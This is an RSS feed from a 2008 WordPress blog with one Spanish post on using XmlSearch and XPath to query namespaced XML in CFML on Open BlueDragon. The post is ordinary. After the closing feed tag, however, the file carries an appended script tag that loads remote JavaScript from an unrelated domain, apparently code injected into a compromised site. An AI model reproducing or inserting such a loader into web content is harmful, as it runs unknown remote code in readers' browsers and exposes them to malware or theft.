
















































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Mideann</title>
	<atom:link href="http://www.mideann.net/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.mideann.net/blog</link>
	<description></description>
	<pubDate>Thu, 25 Sep 2008 09:36:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Open BlueDragon y Namespaces de XML</title>
		<link>http://www.mideann.net/blog/?p=1</link>
		<comments>http://www.mideann.net/blog/?p=1#comments</comments>
		<pubDate>Thu, 25 Sep 2008 08:12:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[CFML]]></category>

		<category><![CDATA[Open BlueDragon]]></category>

		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.mideann.net/blog/?p=1</guid>
		<description><![CDATA[Estoy intentando trabajar en CFML con un XML que usa Namespaces, parecido a esto:
&#60;raiz&#62;
&#60;nsp:nodoA&#62;
&#60;nsp:nodoB&#62;Texto 1&#60;/nsp:nodoB&#62;
&#60;/nsp:nodoA&#62;
&#60;nsp:nodoA&#62;
&#60;nsp:nodoB&#62;Texto 2&#60;/nsp:nodoB&#62;
&#60;/nsp:nodoA&#62;
&#60;/raiz&#62;
Estoy probando Open BlueDragon para este proyecto, versión Open Source del engine BlueDragon. El primer problema que me he encontrado es no poder referenciar uno de los nodos como:
&#60;cfset elem = miXml.raiz.nsp:nodoA[0]&#62;
Por culpa del namespace. Así que he buscado un [...]]]></description>
			<content:encoded><![CDATA[<p>Estoy intentando trabajar en CFML con un XML que usa Namespaces, parecido a esto:</p>
<blockquote><p>&lt;raiz&gt;<br />
&lt;nsp:nodoA&gt;</p>
<p>&lt;nsp:nodoB&gt;Texto 1&lt;/nsp:nodoB&gt;</p>
<p>&lt;/nsp:nodoA&gt;<br />
&lt;nsp:nodoA&gt;<br />
&lt;nsp:nodoB&gt;Texto 2&lt;/nsp:nodoB&gt;<br />
&lt;/nsp:nodoA&gt;<br />
&lt;/raiz&gt;</p></blockquote>
<p>Estoy probando Open BlueDragon para este proyecto, versión Open Source del engine BlueDragon. El primer problema que me he encontrado es no poder referenciar uno de los nodos como:</p>
<blockquote><p>&lt;cfset elem = miXml.raiz.nsp:nodoA[0]&gt;</p></blockquote>
<p>Por culpa del namespace. Así que he buscado un poco y he descubierto que la búsqueda la he de hacer con <a href="http://livedocs.adobe.com/coldfusion/8/htmldocs/functions_t-z_24.html#141075">XmlSearch</a>, que permite hacer búsquedas <a href="http://www.w3schools.com/XPath/default.asp">XPath</a>, tal que así:</p>
<blockquote><p>&lt;cfset elems= XmlSearch(miXml,&#8221;//nsp:nodoA&#8221;) &gt;</p></blockquote>
<p>Esto devuelve un array con todos los nodos llamados &#8220;nsp:nodoA&#8221;, en este caso 2. El problema me lo he encontrado al escribir la expresión de búsqueda: al poner &#8220;//&#8221;, &#8220;/*&#8221; o &#8220;/:&#8221;, a pesar de (aparentemente) construír expresiones correctas, no había ninguna salida. Ninguna quiere decir absolutamente ninguna: ni el texto estático, ni un mensaje de error, nada absolutamente. Al final, he tenido que hacer un pequeño apaño:</p>
<blockquote><p>&lt;cfset elems= XmlSearch(miXml,&#8221;/&#8221; &amp; &#8220;/nsp:nodoA&#8221;) &gt;</p></blockquote>
<p>Esto ha sido con Open Bluedragon 7.0.1 y Apache Tomcat 6.0.16.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mideann.net/blog/?feed=rss2&amp;p=1</wfw:commentRss>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>